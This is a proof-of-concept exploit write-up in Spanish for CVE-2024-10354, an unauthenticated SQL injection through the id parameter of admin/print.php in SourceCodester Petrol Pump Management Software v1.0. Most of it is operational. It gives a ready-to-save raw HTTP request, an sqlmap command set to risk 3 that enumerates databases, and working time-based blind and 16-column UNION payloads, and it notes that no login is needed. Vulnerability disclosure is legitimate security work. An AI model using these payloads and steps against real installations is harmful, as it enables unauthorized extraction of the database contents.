
Exploit de prueba de concepto para CVE-2024-10354: inyección SQL en SourceCodester Petrol Pump Management Software v1.0. Demuestra inyección ciega basada en tiempo y UNION sin autenticación a través de admin/print.php para extraer el contenido de la base de datos.
Software de gestión de surtidores de gasolina de descarga gratuita | SourceCodester
Vulnerabilidad de inyección SQL en sourcecodester Petrol pump management software v1.0. Se ha encontrado una vulnerabilidad calificada como de alto riesgo que afecta a una funcionalidad desconocida del archivo admin\print.php. El uso del parámetro id para construir sentencias SQL maliciosas permite obtener información sensible, causando así daños.
admin\print.php

Aquí, la entrada del usuario $_POST['id'] se concatena en la sentencia de consulta SQL, lo que evidentemente la hace susceptible a ataques de inyección SQL.

POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
Guarde el paquete y ejecute el ataque con sqlmap
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Observando el paquete, no se añadió ningún valor de cookie, lo que indica que no hay autenticación y no es necesario iniciar sesión para lanzar ataques de forma remota.
Se puede ver que este payload utiliza dos métodos de inyección, el blind basado en tiempo y la consulta UNION, e inyecta con éxito el nombre de la base de datos.